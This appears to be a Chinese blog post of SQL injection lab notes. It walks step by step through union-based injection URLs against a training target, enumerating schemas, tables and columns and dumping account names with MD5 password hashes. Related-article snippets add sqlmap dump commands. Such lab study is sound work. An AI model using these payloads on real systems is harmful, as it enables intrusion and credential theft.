sql注入学习笔记--day01

最新推荐文章于 2023-06-02 18:01:17 发布
最新推荐文章于 2023-06-02 18:01:17 发布
阅读量233 收藏
点赞数 1
分类专栏： 学习笔记 文章标签： sql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Vexed_Wilson/article/details/119821571
版权

SQL注入 数据库探测 信息提取 联合查询 安全漏洞
关键词由CSDN通过智能技术生成

sql注入学习笔记–day01

靶场链接
目标网站:http://219.153.49.228:44554/new_list.php?id=1

分析:有参数id因此可能存在注入点

1. 寻找注入点

1.在url后加入 and 1=1 的恒等式查看

http://219.153.49.228:44554/new_list.php?id=1 and1=1

![图片](https://img-blog.csdnimg.cn/b494cb09dc204fa8b28795f64f5acc27.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1ZleGVkX1dpbHNvbg==,size_16,color_FFFFFF,t_70#pic_center1
显示结果:页面正常返回

2.在url中加入恒不等式再次查看页面

http://219.153.49.228:44554/new_list.php?id=1 and 1=2

![1](https://img-blog.csdnimg.cn/c8beadac0ae1453ead2a681ed25cbc2f.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1ZleGVkX1dpbHNvbg==,size_16,color_FFFFFF,t_70#pic_center1
页面返回为空白,因此确定存在与数据库的交互,可以确定有注入点

2.利用联合查询来查找数据库中的数据

1.使用order by指令来判断数据库中存在的字段位数

在数据库中，大多数时，表的“列”称为“字段” ，每个字段包含某一专题的信息。就像“通讯录”数据库中，“姓名”、“联系电话”这些都是表中所有行共有的属性，所以把这些列称为“姓名”字段和“联系电话”字段。

http://219.153.49.228:44554/new_list.php?id=1 order by 1

![1](https://img-blog.csdnimg.cn/6961aa80f7ee40f9b11eaab9ef970097.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1ZleGVkX1dpbHNvbg==,size_16,color_FFFFFF,t_70#pic_center1

页面返回正常因此确定数据库中存在字段1

2.将order by后的参数按++来重复直到确定到上限

http://219.153.49.228:44554/new_list.php?id=1 order by 5

5直到测试到5的时候页面出现非正常返回,因此可以确定表中的字段小于5

3.使用在and 1=2为空或错误返回值得基础上用union select 1,2,3…,N来判断标题和内容属于哪个字段从而得知注入点

http://219.153.49.228:44554/new_list.php?id=1%20and%201=2%20union%20select%201,2,3,4

13页面标题返回值为2而内容部分返回值为3,因此可以判断标题处于第二个位置显示而内容则位于第三个位置显示

4.替换2,3位置为sql语句database(),version()从而达到查询目标数据库名称和版本号>

http://219.153.49.228:44554/new_list.php?id=1%20and%201=2%20union%20select%201,database(),version(),4

1分析返回值可得出数据库名为mozhe_Discuz_StormGroup而版本号为5.7.22-0ubuntu0.16.04.1

5.使用语句SCHEMA_NAME替换2来选择从标题处显示,使用from information_schema.SCHEMATA limit 0,1来查询位于0,1的数据

http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

1

分析解说：这里涉及到数据库information_schema、表SCHEMATA、列SCHEMA_NAME三个内容，数据库information_schema是MySQL系统自带的数据库，其中记录了当前数据库系统中大部分我们需要了结的信息，比如字符集，权限相关，数据库实体对象信息，外检约束，分区，压缩表，表信息，索引信息，参数，优化，锁和事物等等。说白了，就是这个默认自带的数据中，存储了MySQL的数据库名字、表名字、列名字和其他信息，通过information_schema我们可以查看整个MySQL实例的情况，limit 0,1意思是从第0行起，取1行数据，information_schema为获取的第1个数据库名称。

从返回页面得出位于表格0,1位置的数据为information_schema此为第一个数据库的名称

6.反复测试注入点更改n,m的数据从而查看整个表的内容

http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1
1
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1
在这里插入图片描述
http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1在这里插入图片描述http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1
在这里插入图片描述http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1
在这里插入图片描述

直到5时返回值为空 说明数据库名查询完毕

7.改2为TABLE_NAME并使用语句from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit n,m来获取对应数据库"mozhe_Discuz_StormGroup"的数据表名称

http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit 0,1
在这里插入图片描述http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit 1,1
在这里插入图片描述http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit 2,1
在这里插入图片描述

说明数据库mozhe_Discuz_StormGroup只有2个数据表，StormGroup_member、notice

8.替换2,3为COLUMN_NAME,COLUMN_TYPE并使用from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 0,1来查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的第1个字段名称与类型

http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 0,1
在这里插入图片描述http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 1,1
在这里插入图片描述http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 2,1
在这里插入图片描述http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 3,1
在这里插入图片描述http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 4,1
在这里插入图片描述

说明数据库mozhe_Discuz_StormGroup中的表StormGroup_member只有4个字段，名称为：id，name，password，status

9.替换2为count(*)使用语句from mozhe_Discuz_StormGroup.StormGroup_member来获取数据数量

http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member

在这里插入图片描述查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中数据总数，共有2条数据。

10.将2替换为CONCAT(name,’-’,password,’-’,status)并使用语句from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1来查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的第1条数据的name、password、status的内容，三者之间用-连接起来

http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1在这里插入图片描述

获得第一条数据的name账户为mozhe，密码password为356f589a7df439f6f744ff19bb8092c0（md5加密后的密码，可通过解密获到明文），status账户状态为0。

http://219.153.49.228:44554/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1

在这里插入图片描述

得第一条数据的name账户为mozhe，密码password为3280b9edc8e1b528fccaf85c3780fabf（md5加密后的密码，可通过解密获到明文），status账户状态为1。

用MD5解码密码得到正确的账号密码

烦恼的威尔逊
关注
专栏目录
【1day】复现宏景HCM codesettree SQL注入漏洞（CNVD-2023-08743）
记录并分享学习安全的知识点..
07-26 1331
北京宏景世纪软件股份有限公司 HCM codesettree 接口存在SQL注入漏洞，攻击者通过漏洞可以获取到登陆系统的账号密码和数据库信息。
【1day】复现GeoServer CVE-2023-25157 SQL注入
最新发布
记录并分享学习安全的知识点..
07-19 867
​ GeoServer是一个开源的地图服务器，它是遵循OpenGIS Web服务器规范的J2EE实现，通过它可以方便的将地图数据发布为地图服务，实现地理空间数据在用户之间的共享。由于未对用户输入进行过滤，在使用需要以数据库作为数据存储的功能时，攻击者可以构造畸形的过滤语法，绕过GeoServer的词法解析从而造成SQL注入，获取服务器中的敏感信息，甚至可能获取数据库服务器权限。 ​
CTF从零到一 SQL注入攻击
山兔的博客
09-12 474
1.SQL注入攻击是开发者在开发程序时，对客户输入的参数过滤不严格，导致用户能更改数据库。 一.数字型注入： 1.访问链接http://192.168.20.133/sqll.php?id=2的页面和http://192.168.20.133/sqll.php?id=3-1的页面一样，可以说明这个注入点是数字型注入。表现为源码输入点“$_GET['id']”附近没有引号包裹。 2.链接模板：http://192.168.20.133/sqll.php?id=1 union select user,pwd f
sql注入
kuzemax的博客
06-02 1037
SQL注入原理参数用户可控：前端传递给后端的参数内容是用户可以控制的参数带入数据库查询：传入的参数拼接到SQL语句，且带入数据库查询当传入的id参数为1' 时，数据库执行的代码如下这不符合数据库语法规范，所以会报错。当传入的ID的参数为and 1=1时，执行的语句为因为1=1为真，且where语句中id=1也为真，所以页面返回id=1相同的结果。当传入ID参数为 and1=2,由于1=2不成立，所以返回假，页面就会返回与id=1不同的结果。
实验吧web之简单的sql注入1
The Road Of Sec
05-06 8561
0x.部分题解 一、通过加英文单引号1‘ ，检测到存在注入：   php?id=1   二、按常规步骤输入1 and 1=1和1 and 1=2的时候，发现报了“SQLi deteced!”而无法查询：php?1 and 1=1  php?1 and 1=2       那么，去掉空格输入1and1=1和1and1=2呢？       确定是过滤了空格！
sqli-labs攻关1(错误型注入、双查询注入)
qwzf
07-16 1559
sqli-labs攻关(一) 前言 为了更好的学习和练习有关SQL注入的知识,于是我开启了sqli-labs的通关之路。。。。 为了方便学习查看，我在源码中的$sql下一句语句写以下php语句（就是输出拿到数据库查询的完整语句是怎么样的） echo "你的 sql 语句是：".$sql."<br>"; 在开始注入之前，我学习了下面这些相关sql注入基础知识。 sql注入基础知识 ...
SQL注入基础(WEB安全攻防读书笔记)
小英雄颂人头
02-22 420
0xx1 sql注入基础 什么是sql注入 sql注入指的是WEB应用程序对用户输入数据呃合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询 sql注入原理 参数用户可控:前端传给后端的参数是用户可以控制的 参数带入数据库查询:传入的参数拼接到sql语句,并且带入到数据库查询   当传入ID参数为 1’ 时,数据库执行代码:          select ...
2020/2/19学习笔记-day01
01-20
【Java学习笔记-day01】 Java是一门广泛应用于软件开发的高级编程语言，自1995年诞生以来，经历了多次版本更新，逐渐发展成为现代软件工程的重要支柱。本篇笔记主要介绍了Java学习的一些基础知识，包括XML、面向...
Spring Boot学习笔记--Day2
lp82lf的博客
06-25 863
Spring Boot 1.Spring Boot简介 Spring诞生时是Java企业版（Java Enterprise Edition，JEE，也称J2EE）的 轻量级代替品。无需开发重量级的Enterprise JavaBean（EJB），Spring为企业级 Java开发提供了一种相对简单的方法，通过依赖注入...
framwork学习笔记day03---动态sql操作
Wynb1020的博客
12-21 306
给SQL传参 概述 Mybatis会在运行过程中，把配置文件中的SQL语句里面的#{}转换为“?”占位符，发送给 数据库执行。 需求 根据账户模糊查询 代码实现 <select id="selectUserLikeName1" parameterType="string" resultType="user"> select * from tb_user where user_name like "%"#{userName}"%" </select&g
sql注入实战—union注入
qq_40909772的博客
07-12 809
测试网站：自建靶场 http://192.168.57.128:1237/sql/union.php?id=1 测试工具：Burp Suite 1.注入过程。 1.1 访问该地址使用burp抓包，返回的结果如下。 1.2 在URL后添加一个单引号，再次访问，返回的结果与id=1不相同。 1.3 继续修改URL，访问id=1 and 1=1，由于and 1=1为真，所以页面应返回与id=1相同的结果，访问id=1 and 1=2，由于and 1=2为假，所以页面应返回与id=1不同的结果，如下图所示。   由
墨者学院——SQL注入漏洞测试(布尔盲注)
2303_76679642的博客
04-21 465
9.最后看字段值： sqlmap -r *.txt(新建的文本文件) --level 5 --risk 3 -D 数据库名 -T 表名 -C （字段1，字段2，....） --dump --dbms mysql --batch。8.接着来查找表的字段：sqlmap -r *.txt(新建的文本文件) --level 5 --risk 3 -D 数据库名 -T 表名 --columns --dbms mysql --batch。id=1 and 1=1,内容显示， 判断这个id的值类型是数字类型。
SQL注入（查询注入）
m0_61974571的博客
10-12 1780
如果使用config的认证方式，则直接进入后台，如果为http，可以进行爆破，最好不要开启phpmyadmin，或者在需要的时候再开启远程登陆，修改/opt/lampp/etc/extra/http-xampp.conf文件禁用远程访问。使用方法：https://blog.csdn.net/kikajack/article/details/80065753。上述语法主要针对mysql数据库，如果针对其他数据库，需要使用其他数据库的语法。3、Web页面中有两个SQL查询语句，查询的列数不相同。
sql注入之mysql数据库（手工＋工具）详解
qq_42383069的博客
03-08 496
环境:sql注入靶场 首先判断一下注入点：http://219.153.49.228:43028/new_list.php?id=1 分别在后面加 and 2-1=1 和 and 2-1=2 第一条语句执行后页面正常。 第二条语句执行后页面错误。 由此可见，我们在后面添加的sql语句被带到了数据库中执行，说明这个存在注入 工具（sqlmap）： 1.在sqlmap中查询数据库： sqlm...
宽字节注入讲解-墨者学院(SQL注入漏洞测试(宽字节))
T1ngSh0w的博客
09-18 5121
宽字节注入原理讲解+墨者学院(SQL注入漏洞测试(宽字节))题目详解
sql注入（2） 墨者学院之SQL手工注入漏洞测试（MySQL数据库-字符型）
c10udz的博客
04-12 4201
这里我们可以看到版本是10.2.15，前面说过MySQL5.0版本以上有个自带的information_shema数据库，利用这个数据库可以查到整个数据库的结构，不然就只能盲猜了。//注释：（1）information_schema.tables表示information_schena这个数据库下的表，在MySQL中【.】代表下一级。利用'order by 任意数字 %23去判断，得到4（结尾加%23的原因：在一个语句结尾时，需要用#结尾，而#的url编码就是%23）table_schema：数据库名。
SQL注入系列之PHP+Mysql手动注入(一)----数字型
热门推荐
fendo
01-01 1万+
常见的几种SQL注入 1.数字型 2.字符型 3.文本型 4.搜索型(POST/GET) 5.cookie注入 6.SQL盲注 MySQL报错注入基本流程： Mysql注入步骤 1.判断sql注入 2.猜解表名 3.猜解列名 4.猜解字段内容 5.导出webshell 1.判断sql注入 ○提交单引号' ○and大法和or大法
SQL注入实战————1、MySQL手工注入实战
Fly_鹏程万里
05-06 1万+
无意中发现了一个巨牛巨牛的人工智能教程，忍不住分享一下给大家。教程不仅是零基础，通俗易懂，小白也能学，而且非常风趣幽默，还时不时有内涵段子，像看小说一样，哈哈～我正在学习中，觉得太牛了，所以分享给大家。点这里可以跳转到教程！ SQL注入实战 靶场地址：http://219.153.49.228:48204/show.php?id=MQ== 首先可以看到该URL中存在一个参数“MQ==”，从参...
墨者 - SQL手工注入漏洞测试(SQLite数据库)
吃肉唐僧的博客
07-05 1329
/new_list.php?id=1 order by 2测试注入点 有回显，并且测试有4个字段 盲猜表，admin，member，manage，都没有 投机取巧的方法没有......老老实实去爆表吧 测试回显位置，/new_list.php?id=1 union select 1,2,3,4 爆库，用database（） 发现mysql的语法在这里不适合用...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值